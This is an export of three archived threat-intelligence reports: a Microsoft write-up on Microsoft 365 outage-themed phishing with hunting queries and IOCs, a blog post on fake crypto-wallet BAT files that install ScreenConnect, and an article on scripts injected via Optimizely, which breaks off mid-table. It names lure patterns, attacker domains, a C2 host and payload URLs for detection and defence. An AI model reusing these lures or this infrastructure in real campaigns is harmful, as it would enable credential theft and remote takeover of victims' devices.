{"data":[{"id":"a86b1c64-8c07-4c47-b686-74d202a477a6","created_at":"2026-11-18T02:15:09.444506Z","updated_at":"2026-11-18T02:20:26.132666Z","deleted_at":null,"sha1_hash":"d0d75b37346c084aa2e77675190e554c1e641a8f","title":"High volume phishing campaign uses Microsoft 365 outage lures to target multiple industry sectors","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":554080,"plain_text":"https://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nHigh volume phishing campaign uses Microsoft 365 outage lures to\n\ntarget multiple industry sectors\n\nBy Microsoft Security Research, Jeremiah Jasmin, Jonathan Armer, Shreya Kale\n\nPublished: 2026-11-17 · Archived: 2026-11-18 02:00:32 UTC\n\nOn November 13, 2026, Microsoft Threat Intelligence observed a coordinated, high-volume phishing campaign\n\ntargeting organizations across multiple sectors worldwide. The threat actors used phishing emails disguised as\n\nlegitimate Microsoft 365 service-health notifications to lure recipients into clicking a malicious link. The\n\nmessages created a false sense of urgency by claiming that emails had been held during a service disruption and\n\nwould be deleted within 24 hours unless the recipient took action to restore them. This is consistent with historical\n\nattacker campaigns which continuously look for notable global events to exploit in their social engineering lures.\n\nMicrosoft identified the threat actor’s use of specific sender domain names, randomized outage subjects, recipient-\n\nspecific tracking links, and a common non-Microsoft destination to make the messages appear relevant while\n\ncomplicating simple pattern matching. We assess that the activity was likely credential phishing; however, the\n\navailable evidence does not confirm credential capture, malware delivery, or post-compromise activity. Multiple\n\nthreat actors may continue to look for ways to exploit notable global events in any social engineering pretext.\n\nIf credentials were entered, organizations should consider the risk of account compromise, mailbox access,\n\nbusiness email compromise, internal phishing, inbox-rule manipulation, and access to cloud collaboration data.\n\nMicrosoft Defender blocks malicious domains used in this campaign, and Microsoft Defender for Office 365\n\nblocks and quarantines phishing emails. We will continue to monitor this campaign and other related threats.\n\nSecurity teams can use Microsoft Defender for Office 365 and Microsoft Defender XDR capabilities to investigate\n\nmessages, URLs, clicks, and potential follow-on activity.\n\nPhishing attack overview\n\nMicrosoft analyzed the email lures sent on November 13, 2026: the emails used the subject pattern “Outage –\n\n\u003crandom token\u003e” and display names built from a three-character, organization-style prefix followed by “Outage\n\nNotification” or “Service Health.”\n\nExample subject line:\n\nOutage – aF7vG6\n\nExample display names:\n\nMSF Outage Notification\n\nAMZ Service Health\n\nOne example email body referenced a purported Exchange Online incident on November 12 and claimed that four\n\nmessages were held after the outage. The urgency of a 24-hour deletion deadline and the prominent “RESTORE\n\nPage 1 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nMESSAGES” call to action were intended to drive immediate interaction.\n\nThe activity used distinct sender domains, including: moments-notice[.]com, planetmaison[.]com and\n\nnewbooker[.]com. The messages also used email-delivery and link-tracking infrastructure to generate recipient-\n\nspecific URLs. In multiple samples, click-tracking links led to reallifeaccounting[.]com or\n\nreallifeaccounting[.]com/themelist0.html.\n\nThe sample set was link-based: no QR codes or non-EML attachments were observed, and Microsoft did not\n\nidentify evidence of executable, archive, document, or other malware payload delivery. The off-brand destination\n\nand Microsoft 365 impersonation support an assessment of likely credential phishing, but the available evidence\n\ndid not include the final page source, credential fields, credential-submission telemetry, or post-compromise\n\nactivity. Microsoft therefore has not attributed the campaign to a named threat actor or malware family.\n\nFigure 1. Sample of one of the Microsoft 365 outage-themed phishing lures.\n\nAttack chain overview\n\nPage 2 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nFigure 2. Observed attack chain for the Microsoft 365 outage-themed phishing campaign.\n\n1. Delivery: A user receives an email from the moments-notice[.]com, planetmaison[.]com or\n\nnewbooker[.]com sender-domain cluster. The subject contains “Outage -” followed by a randomized string\n\nof character tokens. The body of the message includes a fake email conversation positioned to be hidden\n\nfrom the recipient and appears to be an attempt at mail filtering evasion.\n\n2. Impersonation: The message poses as a Microsoft 365 service-health notification, uses a target-specific\n\ndisplay-name prefix, and references Exchange Online, Outlook, Teams, SharePoint, and Copilot.\n\n3. Social engineering: The lure claims that messages were held during an outage and will be deleted within\n\n24 hours, creating urgency and fear of lost business email.\n\n4. User interaction: The recipient selects “RESTORE MESSAGES” or “TAKE ACTION”. A recipient-\n\nspecific tracking URL records or routes the click.\n\n5. Redirect: The observed link chain leads to reallifeaccounting[.]com, including the path /themelist0.html in\n\nsome samples.\n\n6. Assessed threat actor objectives: Microsoft assesses that the activity was likely intended to capture\n\ncredentials. Credential submission and subsequent account compromise were not directly observed in the\n\nsupplied evidence.\n\nMitigation and protection guidance\n\nImmediate actions\n\nMessages in environments protected by Microsoft Defender for Office are currently blocked/quarantined, and we\n\nhave not observed any indicators of compromise from this attack.\n\nHowever, organizations can consider taking the following steps:\n\nSearch for and remove phishing messages. Search mail telemetry for the observed sender domains,\n\ndisplay-name and subject patterns, lure phrases, tracking hosts, and destination domain. Quarantine\n\nPage 3 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nmatching messages and remove delivered copies in accordance with organizational response procedures.\n\nIdentify users who clicked campaign links. Identify users who selected campaign links. Review click\n\ntelemetry, proxy logs, and browser or endpoint evidence to determine whether the destination was reached\n\nand whether credentials may have been entered.\n\nReset credentials and investigate potentially compromised accounts For any user who may have\n\nentered credentials, reset the password, revoke active sessions and refresh tokens, and verify multifactor\n\nauthentication registrations. Review the account for suspicious sign-ins, OAuth consent, new inbox or\n\nforwarding rules, delegate permissions, and unusual access to Exchange Online, SharePoint, OneDrive, or\n\nTeams.\n\nBlock or closely monitor campaign infrastructure. Block or closely scrutinize reallifeaccounting[.]com\n\nand the observed /themelist0.html path while the activity is investigated. Avoid broadly blocking shared\n\nemail-delivery infrastructure based only on this campaign; combine sender, content, URL, and behavioral\n\nsignals to reduce collateral impact.\n\nRemind users how to verify legitimate service-health communications. Remind users that legitimate\n\nMicrosoft 365 service-health communications do not direct them to non-Microsoft domains to recover held\n\nmail. Validate service issues through the Microsoft 365 admin center rather than through unsolicited email\n\nlinks.\n\nOngoing hardening\n\nRequire multifactor authentication and prioritize phishing-resistant methods, such as passkeys or security\n\nkeys, where possible.\n\nReview and enable Safe Links and Safe Attachments policies in Microsoft Defender for Office 365.\n\nEnable Zero-hour auto purge (ZAP) to help retroactively neutralize phishing, spam, or malware messages\n\nthat were delivered before new threat intelligence became available.\n\nUse Attack simulation training and ongoing awareness guidance to help users recognize outage-themed\n\nurgency, sender-domain mismatches, and requests to restore or release messages.\n\nEncourage users to report suspicious messages through the organization’s established Outlook reporting\n\nworkflow so security teams and Microsoft can investigate quickly.\n\nMicrosoft Security Copilot\n\nSecurity Copilot customers can use the standalone experience to create their own prompts or run the following\n\nprebuilt promptbooks to automate incident response or investigation tasks related to this threat:\n\nIncident investigation: Summarize related alerts and incidents and identify the affected users and devices.\n\nMicrosoft User analysis: Review the activity of users who selected the campaign links. This includes\n\nsign-ins, MFA-method changes, inbox or forwarding rules, and OAuth grants.\n\nNote that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or\n\nMicrosoft Sentinel.\n\nMicrosoft Defender XDR Threat analytics\n\nPage 4 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nHigh volume phishing campaign uses Microsoft 365 Outage lures to target multiple industry sectors.\n\nAdvanced hunting queries\n\nThese sample queries search for campaign characteristics in Microsoft Defender XDR. Review the results in the\n\ncontext of your environment and adjust the indicators only after validation. The queries do not set a time range;\n\nuse the advanced hunting time selector for the period you want to investigate.\n\nFind messages by sender domain or subject pattern\n\nThis query searches for the observed sender-domain clusters and the randomized outage subject pattern.\n\nlet campaignDomains = dynamic([\n\n\"moments-notice.com\",\n\n\"em4493.moments-notice.com\",\n\n\"newbooker.com\",\n\n\"em.newbooker.com\"\n\n]);\n\nEmailEvents\n\n| where SenderFromDomain in~ (campaignDomains)\n\nor Subject matches regex\n\n@\"(?i)^(?:\\[external\\]\\s*|\\*external\\*\\s*)?outage\\s*-\\s*[a-z0-9]{6}$\"\n\n| project Timestamp, NetworkMessageId, RecipientEmailAddress,\n\nSenderFromAddress, SenderFromDomain, SenderDisplayName,\n\nSubject, DeliveryAction, DeliveryLocation\n\n| order by Timestamp desc\n\nFind messages containing campaign URLs\n\nThis query identifies message URLs that contain the observed destination, click-tracking hosts, or tracking-pixel\n\npattern, and joins the results to message metadata.\n\nlet campaignUrlParts = dynamic([\n\n\"reallifeaccounting.com\",\n\n\"u113727626.ct.sendgrid.net/ls/click\",\n\nPage 5 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\n\"url.newbooker.com/ls/click\",\n\n\"162.120.17.69:8080/t/v3.\"\n\n]);\n\nEmailUrlInfo\n\n| where Url has_any (campaignUrlParts)\n\n| project NetworkMessageId, Url, UrlDomain, UrlLocation\n\n| join kind=inner (\n\nEmailEvents\n\n| project Timestamp, NetworkMessageId, RecipientEmailAddress,\n\nSenderFromAddress, SenderFromDomain, SenderDisplayName,\n\nSubject, DeliveryAction, DeliveryLocation\n\n) on NetworkMessageId\n\n| project Timestamp, RecipientEmailAddress, SenderFromAddress,\n\nSenderFromDomain, SenderDisplayName, Subject, Url, UrlDomain,\n\nUrlLocation, DeliveryAction, DeliveryLocation, NetworkMessageId\n\n| order by Timestamp desc\n\nInvestigate user clicks on campaign URLs\n\nThis query searches click telemetry for the observed destination and tracking patterns so investigators can identify\n\naffected users and determine whether clicks were allowed.\n\nlet campaignUrlParts = dynamic([\n\n\"reallifeaccounting.com\",\n\n\"u113727626.ct.sendgrid.net/ls/click\",\n\n\"url.newbooker.com/ls/click\",\n\n\"162.120.17.69:8080/t/v3.\"\n\n]);\n\nUrlClickEvents\n\n| where Url has_any (campaignUrlParts)\n\nPage 6 of 10\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\n| project Timestamp, AccountUpn, Url, ActionType, Workload,\n\nNetworkMessageId, IPAddress, IsClickedThrough, UrlChain\n\n| order by Timestamp desc\n\nFor users who interacted with campaign links, also investigate:\n\nUnusual sign-ins\n\nNew devices or user agents\n\nMFA-method changes\n\nOAuth grants\n\nInbox or forwarding rules\n\nDelegate permissions\n\nUnusual access to mailbox or collaboration data\n\nThese behaviors were not observed in the source messages, they are post-click investigation targets for suspected\n\nMicrosoft 365 credential phishing.\n\nMITRE ATT\u0026CK Techniques observed\n\nThe activity exhibited the following techniques. Microsoft did not map credential capture, malware execution,\n\ncommand and control, or data exfiltration because the available evidence did not directly demonstrate those\n\nactions.\n\nInitial Access\n\nT1566.002 Phishing: Spearphishing Link | Messages contained a “RESTORE MESSAGES” link that used\n\ntracked redirect URLs and led to a non-Microsoft destination.\n\nDefense Evasion\n\nT1036 Masquerading | Messages impersonated Microsoft 365 service-health communications and used\n\nMicrosoft product names and copyright language.\n\nExecution\n\nT1204.001 User Execution: Malicious Link | Recipients were urged to select a link within 24 hours to\n\nprevent the alleged deletion of held messages.\n\nIndicators of Compromise (IOCs)\n\nThe following defanged indicators were observed in the campaign and should be validated in the context of each\n\nenvironment before blocking. Shared service-provider infrastructure can generate false positives when used\n\nwithout the accompanying sender, content, and behavioral signals.\n\nIndicator Type Context\n\nPage 7 of 10\n\nmoments-notice[.]com\n\nplanetmaison[.]com\n\nem4493[.]moments-notice[.]com\n\nnewbooker[.]com\n\nem[.]newbooker[.]com\n\nurl[.]newbooker[.]com\n\nurl7489[.]newbooker[.]com\n\nu113727626[.]ct[.]sendgrid[.]net\n\nu118254266[.]ct[.]sendgrid[.]net\n\nu118250677[.]ct[.]sendgrid[.]net\n\nreallifeaccounting[.]com\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nDomain\n\nPage 8 of 10\n\nObserved sender-\n\ndomain cluster.\n\nObserved sender-\n\ndomain cluster.\n\nObserved mail-from\n\nor bounce\n\nsubdomain.\n\nObserved sender-\n\ndomain cluster.\n\nObserved mail-from\n\nor bounce\n\nsubdomain.\n\nObserved click/open\n\ntracking host.\n\nObserved click/open\n\ntracking host.\n\nObserved click/open\n\ntracking host; assess\n\nwith campaign\n\ncontext because the\n\nparent service can be\n\nshared.\n\nObserved click/open\n\ntracking host; assess\n\nwith campaign\n\ncontext because the\n\nparent service can be\n\nshared.\n\nObserved click/open\n\ntracking host; assess\n\nwith campaign\n\ncontext because the\n\nparent service can be\n\nshared.\n\nPrincipal\n\ndownstream\n\noutagefixed[.]sbs\n\noutagerestored[.]sbs\n\nhxxps://reallifeaccounting[.]com/themelist0[.]html\n\nhxxps://outagerestored[.]sbs/topics_pxyk/themelist0[.]html\n\n162[.]120[.]17[.]69:8080\n\nOutage – \u003crandom\u003e\n\nStrengthen – Security \u003crandom\u003e\n\nRestore — 4 messages \u003crandom\u003e\n\nReferences\n\nSafe Links in Microsoft Defender for Office 365\n\nSafe Attachments in Microsoft Defender for Office 365\n\nZero-hour auto purge in Microsoft Defender for Office 365\n\nAttack simulation training in Microsoft Defender for Office 365\n\nMITRE ATT\u0026CK T1566.002: Phishing – Spearphishing Link\n\nMITRE ATT\u0026CK T1036: Masquerading\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nDomain\n\nDomain\n\nURL\n\nURL\n\nIP and\n\nport\n\nSubject\n\npattern\n\nSubject\n\npattern\n\nSubject\n\npattern\n\nPage 9 of 10\n\ndestination observed\n\nin multiple\n\nmessages.\n\nDownstream\n\ndestination observed\n\nin some messages.\n\nDownstream\n\ndestination observed\n\nin some messages.\n\nObserved destination\n\npath.\n\nObserved destination\n\npath.\n\nObserved host for\n\nindividualized\n\n/t/v3…/px[.]png\n\nresources.\n\nObserved\n\nrandomized subject\n\nformat; external-mail\n\ntags may precede it.\n\nObserved\n\nrandomized subject\n\nformat; external-mail\n\ntags may precede it.\n\nObserved\n\nrandomized subject\n\nformat; external-mail\n\ntags may precede it.\n\nhttps://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/\n\nMITRE ATT\u0026CK T1204.001: User Execution – Malicious Link\n\nLearn More\n\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat\n\nIntelligence Blog.\n\nTo get notified about new publications and to join discussions on social media, follow us on LinkedIn, X\n\n(formerly Twitter), and Bluesky.\n\nTo hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat\n\nlandscape, listen to the Microsoft Threat Intelligence podcast.\n\nReview our documentation to learn more about our real-time protection capabilities and see how to enable them\n\nwithin your organization.\n\nLearn more about securing Copilot Studio agents with Microsoft Defender\n\nEvaluate your AI readiness with our latest Zero Trust for AI workshop.\n\nMicrosoft 365 Copilot AI security documentation\n\nHow Microsoft discovers and mitigates evolving attacks against AI guardrails\n\nPrompt injection protection in Microsoft Defender for Office 365 – official documentation of the prompt\n\ninjection protection in Microsoft Defender for Office 365.\n\nHow Microsoft discovers and mitigates evolving attacks against AI guardrails | Microsoft Security Blog\n\nManipulating AI memory for profit: The rise of AI Recommendation Poisoning | Microsoft Security Blog –\n\na related example of an AI-era technique observed in email traffic\n\nDefending the inbox against prompt injection attacks | Microsoft Defender for Office 365 Blog – feature\n\nannouncement introducing prompt injection protection in Microsoft Defender for Office 365.\n\nLearn how Microsoft is reimagining the SOC for the agentic era with ISOC in Microsoft Defender\n\nSource: https://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-m\nultiple-industry-sectors-2/\n\nPage 10 of 10","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.microsoft.com/en-us/security/blog/2026/11/16/high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2/"],"report_names":["high-volume-phishing-campaign-uses-microsoft-365-outage-lures-target-multiple-industry-sectors-2"],"threat_actors":[],"ts_created_at":1794968109,"ts_updated_at":1794968426,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/d0d75b37346c084aa2e77675190e554c1e641a8f.pdf","text":"https://archive.orkl.eu/d0d75b37346c084aa2e77675190e554c1e641a8f.txt","img":"https://archive.orkl.eu/d0d75b37346c084aa2e77675190e554c1e641a8f.jpg"}},{"id":"763815e9-76c9-499d-af3a-0dee4bc5dff1","created_at":"2026-11-18T02:14:57.841766Z","updated_at":"2026-11-18T02:20:26.020603Z","deleted_at":null,"sha1_hash":"fba18af0201c2da7b11029b52395ddd345760daa","title":"Fake crypto-wallet downloads used to deploy ScreenConnect remote access software","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":221094,"plain_text":"access software\n\nArchived: 2026-11-18 02:00:23 UTC\n\nIntroduction\n\ninformation they may find interesting.\n\n⚠ What if you downloaded or ran one of these files?\n\nRead the detection and remediation instructions →\n\nA simple visual representation of the attack flow can be observed in Figure 1.\n\nIf you downloaded one of the ZIP files and executed the BAT file inside, your system may be compromised.\n\nFigure 1 - Attack flow\n\nTechnical analysis\n\nTargeted\n\nservice /\n\nbrand\n\nColdcard\n\nColdcard\n\nLedger\n\nLedger\n\nPera Algorand\n\nWallet\n\nPera Algorand\n\nWallet\n\nRevolut\n\nRevolut\n\nScreenConnect\n\nThe following lure names and domains have been observed in this campaign:\n\nFilename / artifact\n\nv1.5.3Q-q1-coldcard.bat\n\nv1.5.3Q-q1-coldcard.zip\n\nLedger-wallet-Transition-\n\nTranscript.bat\n\nLedger-wallet-Transition-\n\nTranscript.zip\n\nPera_Algorand_Wallet_v2.1.2.35.zip\n\nPera_Algorand_Wallet_v2.1.2.35.bat\n\nrevolut-taxfile.zip\n\nRevolut-taxfile.bat\n\nscreenconnect.msi\n\nhttps://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html\n\nFake crypto-wallet downloads used to deploy ScreenConnect remote\n\nA new attack campaign targeting users of cryptocurrency and specifically those using hardware wallets, is doing the rounds.\n\nThe attacker's end goal is to install ConnectWise's ScreenConnect, which is a legitimate remote-support application.\n\nScreenConnect enables these attackers to take remote control of the device, execute commands, and steal any\n\nAssoc\nSHA-256\ninfras\n\n13a340968f98b27eb4e39dd61f0b75822d68c8fbc35fa7f0ef791b65f87a8997 coldc\n\n190702a08dbb3b2c2b07b75876b6b88eec04f827070514b9ef387990fcce8b2b coldc\n\nledge\na6e49e8686488acbe8938da3726f8510ec58e638ee804b55fda43600c4f741a2\nledge\n\nledge\n52d7d663bb916e4cbf09fe0f3317d7ec379bf64cfa326b64e52cf75c0c71dd6e\nledge\n\n1166831bf6ea477cf093b0f404b4a970c253062a91cfccef96c774522a7afa91 peraa\n\nf7f646ce988f9af34075792805b786aea16a53d67c5cda5cbbe484f37b2fa1af peraa\n\n633aec4539c4608fbb6cd19e596bc463c709761b04150cce8a4b0995702d51fa N/A\n\nf7f646ce988f9af34075792805b786aea16a53d67c5cda5cbbe484f37b2fa1af N/A\n\nfjksd\nb3418cfb2a5b36682429b10443cd5333d19346fee83e8b85d7f6947b4ad3fa4a\nRemote\n\nPage 1 of 4\n\nTargeted\n\nservice / Filename / artifact\n\nbrand\n\nScreenConnect screenconnect.exe\n\nXaman xamantaxfile.zip\n\nScreenConnect N/A\n\nIn addition, it also features the following connection parameters:\n\nh=  Remote host\n\ns=  Session identifier\n\ne=Access\n\ny=Guest\n\nFigure 2 below.\n\nhttps://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html\n\nAssoc\nSHA-256\ninfras\n\nfjksd\n99f35301f179919706ce7c82379c37631d2d1cdab28a0b63cfa5044b20c06cad\nRemote\n\na311a02a982acf1a8bd61b87b79c9ac98e54827892f1caf126e09aba586dfabc N/A\n\nfjksd\nec874726bb4f58823a95674ceca60cb23cfa8546489b9b9d0382ae64bf2892f1\nRemote\n\nIn this attack campaign, the ScreenConnect client service is configured to connect to fjksdjfdtitive[.]net on TCP port 8041.\n\nThe login page behind fjksdjfdtitive[.]net allows the attacker to login and remote control any impacted device as seen in\n\nFigure 2 - ScreenConnect login page\n\ncampaign. Follow the steps below to verify if you have been infected and to remove ScreenConnect.\n\n1. Isolate first\n\nDisconnect the device from Wi-Fi and/or Ethernet.\n\n2. Block ScreenConnect domain and/or IP\n\n3. Review if impacted\n\nReview Installed Apps or Programs and Features (installed software) for:\n\nScreenConnect Client (abb21f5ccc9bd236)\n\nconsider a ny presence of ScreenConnect is a sign of compromise!\n\nInvestigate the associated Windows service and installation directory.\n\nRelevant paths include:\n\nC:\\Program Files (x86)\\ScreenConnect Client (abb21f5ccc9bd236)\\\n\nAssociated executables:\n\nIf you downloaded any of the ZIP files, and ran the BAT file inside, it is highly likely you have been affected by this\n\nAvoid using the affected device for cryptocurrency wallets, banking, email, or anything else for the time being.\n\nIf you have a firewall, or use any DNS filtering or software, or perhaps a proxy, block fjksdjfdtitive[.]net first and foremost\n\nfrom accessing the internet. Do the same for the IP  191.96.101[.]224. Note: remove the square brackets [].\n\nYou should block both the domain and IP address on the network level if possible, so all your devices are protected.\n\nNote: the numbering may differ per ScreenConnect installation. U nless you actually use the software,\n\nPage 2 of 4\n\nhttps://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html\n\nScreenConnect.ClientService.exe\n\nScreenConnect.WindowsClient.exe\n\nScreenConnect.WindowsBackstageShell.exe\n\nReview also if a service has been installed by opening services.msc and verifying if a ScreenConnect Client service has\n\nbeen installed. If so, stop and disable this service first before removing the above files and folder.\n\nIf none of the above are found, ensure to also review the %TEMP% folder for presence of any batch files (.bat) or a folder\n\nstarting with the name sc_installer_.\n\nIf you do find any of the artifacts above, I highly recommend to reinstall Windows to ensure any traces are completely\n\ngone. Read how to do that here: https://support.microsoft.com/en-us/windows/experience/backup-recovery/reset-your-pc\n\nIf you cannot identify any of the above, then you are likely not impacted. However, if you did open / run a suspicious ZIP\n\nand/or BAT (batch) file and you do not want to or cannot reinstall, then at the least, perform a full system scan with your\n\ninstalled antivirus/antimalware, as well as another one, for example MalwareBytes.\n\n4. Reset credentials\n\nIf impacted, from a separate and clean device do the following, in parallel with Step 3 above:\n\nReset email credentials.\n\nChange password-manager credentials.\n\nReset cryptocurrency exchange passwords.\n\nRevoke any active sessions and potentially API keys (after resetting passwords and logging in from a known clean /\n\nsafe device).\n\nIn addition, review and revoke suspicious token approvals.\n\nAny locally stored wallet data may also have been exposed, as well as other sensitive data.\n\n5. Additional precautions\n\nSince it's always better to be safe than sorry, the following general advice may assist if you suspect a cryptocurrency wallet\n\nhas been exposed:\n\n1. Stop using the compromised computer for wallet operations.\n\n2. If a recovery phrase or private key may have been exposed, treat the wallet as compromised.\n\n3. Generate a new wallet using a clean device and a new recovery phrase.\n\n4. Move remaining assets to the new wallet. Note this may incur a cost.\n\n5. Verify destination addresses directly on the hardware-wallet display.\n\n6. Review and revoke suspicious token approvals. If the wallet interacted with a suspicious dApp or signed an unknown\n\napproval, revoke allowances on the relevant chain. Disconnecting a dApp alone does not revoke token permissions.\n\n7. Secure associated cryptocurrency exchange accounts. (e.g. ensure multi-factor authentication (MFA) is enabled, ...)\n\nNever provide a recovery phrase to anyone claiming to offer technical support, wallet recovery services, or anyone\n\nelse for that matter.\n\nYou should also contact the Crypto Exchange (whichever one you might use) to report what happened as well as to rotate\n\ncredentials, revoke accesses and review potential suspicious transactions as mentioned above.\n\nConclusion\n\nCryptocurrency users have increasingly been in the crosshairs of attackers. As always, ensure you take the necessary\n\nsecurity precautions, for example by following the recommendations from your hardware wallet provider, the\n\ncryptocurrency exchange, as well as any other best practices when using crypto.\n\nThe best advice is to err on the side of caution: if something sounds too good to be true, it probably is.\n\nIf you have any questions, feedback or comments or you suspect you have been infected, feel free to let me know via a\n\ncomment below or on Twitter / X.\n\nPage 3 of 4\n\nMITRE Mapping\n\nMITRE\n\nATT\u0026CK ID\n\nT1059.003\n\nT1059.001\n\nT1105\n\nT1219.002\n\nT1543.003\n\nT1571\n\nT1497.001\n\nS0591\n\nIndicators of Compromise (IOCs)\n\nhttps://otx.alienvault.com/pulse/6afba3a4742087ffc54fc81e/\n\nTechnique\n\nWindows\n\nCommand Shell\n\nPowerShell\n\nIngress Tool\n\nTransfer\n\nRemote Desktop\n\nSoftware\n\nWindows Service\n\nNon-Standard Port\n\nSystem Checks\n\nConnectWise\n\nSource: https://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html\n\nhttps://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html\n\nIndicators can be found earlier on in this blog post, with a complete version on LevelBlue OTX (AlienVault OTX) here:\n\nThese indicators can be used to perform further blocks or further identify any sign of compromise.\n\nDescription / campaign relevance\n\nBatch files are used to execute commands and launch subsequent stages of\n\nthe infection chain.\n\nPowerShell is used to start processes, bypass execution policy, and launch\n\ncommands in a hidden window.\n\nScreenConnect installer files are downloaded or staged on the affected\n\nsystem.\n\nScreenConnect is deployed to provide remote access to compromised\n\ndevices.\n\nThe ScreenConnect client is installed as a Windows service.\n\nThe ScreenConnect client communicates with its remote host over TCP port\n\n8041.\n\nRelevant where the malware performs checks for virtualisation or sandbox\n\nenvironments; retain this mapping only if supported by the sample analysis.\n\nMITRE ATT\u0026CK software entry for ConnectWise, which includes\n\nScreenConnect, the legitimate remote-access software abused in this\n\ncampaign.\n\nPage 4 of 4","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://bartblaze.blogspot.com/2026/11/crypto-hardware-wallet-users-under.html"],"report_names":["crypto-hardware-wallet-users-under.html"],"threat_actors":[],"ts_created_at":1794968097,"ts_updated_at":1794968426,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/fba18af0201c2da7b11029b52395ddd345760daa.pdf","text":"https://archive.orkl.eu/fba18af0201c2da7b11029b52395ddd345760daa.txt","img":"https://archive.orkl.eu/fba18af0201c2da7b11029b52395ddd345760daa.jpg"}},{"id":"7c65230e-85a8-4ddf-9e5d-c154213de33b","created_at":"2026-11-18T02:12:01.334201Z","updated_at":"2026-11-18T02:20:25.015526Z","deleted_at":null,"sha1_hash":"64dfad13feaef464746ce0c99e3abf4d12d237f5","title":"Beyond Optimizely: Malicious Scripts Traced Across Four Web Services","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":95150,"plain_text":"https://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nBeyond Optimizely: Malicious Scripts Traced Across Four Web\n\nServices\n\nBy InfoStealers\n\nPublished: 2026-11-17 · Archived: 2026-11-18 02:00:32 UTC\n\n01 / What changed\n\nHow attackers used Optimizely\n\nOptimizely told BleepingComputer that an unauthorized party exploited a vulnerability in its Experimentation\n\naccount signup flow and added malicious JavaScript to customer projects. Its official incident notice, posted at\n\n01:02 UTC on November 17, confirms an Experimentation vulnerability and malicious project-code injection.\n\n[1] [2]\n\nThe recovered files show the delivery mechanism: malicious code sat inside the project JavaScript included in\n\nlegitimate Optimizely snippets. Websites loading those snippets consequently brought attacker code into their\n\nvisitors’ browsers. The trusted delivery hostname made the script part of the page’s existing dependency chain. [3]\n\nOptimizely says it patched the vulnerable path, removed injected code, ended sessions, revoked tokens and reset\n\naccess for affected accounts. Those account measures concern Optimizely’s affected access, not a reset of every\n\nvisitor’s sessions at downstream websites. Its public incident was listed as Monitoring when reviewed. [1] [2]\n\nThe disclosure identifies the vulnerable workflow, but does not explain the bug’s code-level mechanics. It also\n\ndoes not explain the poisoned Kissmetrics, StorifyMe or minute-ly responses. The supported finding is\n\nunauthorized project-code publication; the reviewed evidence does not establish CDN cache poisoning or\n\nbreaches of every affected brand’s own servers.\n\n02 / The wider delivery picture\n\nFour services carried malicious code\n\nKirk’s archived body checks and Hudson Rock’s recovered samples connect poisoned analytics, content-widget,\n\nexperimentation and video-loader responses. Earlier responses referenced  webshell[.]lol/get.js ; later\n\nOptimizely files delivered  1688360[.]cc/track.js . Both paths connect to mobile-router infrastructure using\n\nchannel  02111110 . [3]\n\nRepresentative observations from the combined Hudson Rock / Kirk evidence. All times are UTC on the stated\n\n2026 dates.\n\nDelivery Recorded\nWhat supports the finding Record\nprovider observation\n\nPage 1 of 7\n\nhttps://www.infostealers.com/article/beyond-optimizely-malicious-scripts-traced-across-four-web-services/\n\nDelivery Recorded\nWhat supports the finding Record\nprovider observation\n\nNovember 13, 05:42 Poisoned analytics response. Kirk analyzed the\nArchived\nKissmetrics UTC historical body; Hudson Rock matched the archived\ncapture\nsecuritybank.com URL and hash.\n\nNovember 13, 20:31 Poisoned widget response. Kirk analyzed the\nArchived\nStorifyMe UTC historical body; Hudson Rock matched the archived\ncapture\nfaz.net URL and hash.\n\nNovember 16, 04:31 Earlier BBC response loaded\nArchived\nOptimizely UTC webshell[.]lol/get.js . Later Optimizely assets\ncapture\nbbc.com recovered by 